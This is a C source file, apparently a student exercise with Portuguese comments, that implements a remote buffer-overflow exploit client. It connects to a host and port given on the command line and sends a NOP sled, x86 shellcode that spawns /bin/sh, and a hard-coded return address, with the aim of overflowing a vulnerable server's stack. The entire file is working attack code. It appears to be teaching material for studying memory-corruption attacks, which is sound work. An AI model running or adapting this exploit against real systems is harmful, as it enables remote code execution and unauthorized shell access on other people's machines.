/*
	Cliente que explora buffer overflow no servidor vulnerável
	Diego de Freitas Aranha, 00/01805
	Arquivo cliente.c
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define BUFFER_SIZE 100
#define NOP '\x90'
#define OFFSET 50

/* Descritor do socket utilizado pelo cliente para efetuar conexão */
int socket_descriptor = -1;
/* Endereço de retorno */
char return_address[] = {0xBF, 0xFF, 0xF8, 0xD4};

/* Protótipos de funções */
/* Rotina para fechamento da conexão com o servidor */
void cleanup();
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);

/* Mensagem com código malicioso */
char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* String que será preparada para provocar o estouro no buffer remoto */
char large_string[BUFFER_SIZE + 9];

/* Ponto de entrada do programa */
int main(int argc, char *argv[]) {
	/* Registro para armazenar endereço do servidor */
	struct sockaddr_in server_address;
	/* Registro para armazenar resolução do endereço fornecido */
	struct hostent *server;
	/* Inteiro para armazenar porta do servidor */
	int server_port = 0;
	int index, length;

	/* Checagem de parâmetros do cliente */
	if (argc!=3) {
		fprintf(stderr,"Sinopse: %s <host> <porta>\n", argv[0]);
		exit(1);
	}

	/* Obtenção da porta a partir da linha de comando */
	server_port = atoi(argv[2]);
	/* Criação de um socket TCP */
	socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);

	/* Checagem da criação do socket TCP */
	if (socket_descriptor < 0) {
		quit_with_error("Não foi possível abrir socket TCP.\n");
	}

	/* Checagem do hostname fornecido como parâmetro */
	if ((server = gethostbyname(argv[1])) == NULL) {
		quit_with_error("Host inválido.\n");
	}

/* Montagem do registro que armazena o endereço da máquina executando o servidor */
	server_address.sin_family = AF_INET;
	server_address.sin_port = htons(server_port);
	server_address.sin_addr = *((struct in_addr *) server -> h_addr);
	memset(&(server_address.sin_zero), '\0', 8);

	printf("Cliente tentando conexão...\n");

	/* Estabelecimento de conexão com o servidor */
	if (connect(socket_descriptor, (struct sockaddr *)&server_address, sizeof(struct sockaddr)) == -1) {
		quit_with_error("Não foi possível conectar-se com o servidor.\n");
	}

	printf("Conectado...\n");

	/* Montagem da string que será enviada ao servidor */
	length = strlen(shellcode);
	for (index = 0; index < BUFFER_SIZE + 4; index++) {
		if (index < OFFSET || index >= OFFSET + length)
			large_string[index] = NOP;
		else large_string[index] = shellcode[index - OFFSET];
	}
	large_string[104] = return_address[3];
	large_string[105] = return_address[2];
	large_string[106] = return_address[1];
	large_string[107] = return_address[0];
	large_string[108] = 0;

	/* Envio da string preparada */
	send(socket_descriptor, &large_string, strlen(large_string) + 1, 0);

	printf("Mensagem enviada...\n");

	cleanup();
	return 0;
}

void quit_with_error(char * error_message) {
	cleanup();
	fprintf(stderr, "Erro: %s", error_message);
	exit(1);
}

void cleanup() {
	if (socket_descriptor != -1)  {
		close(socket_descriptor);
	}
}
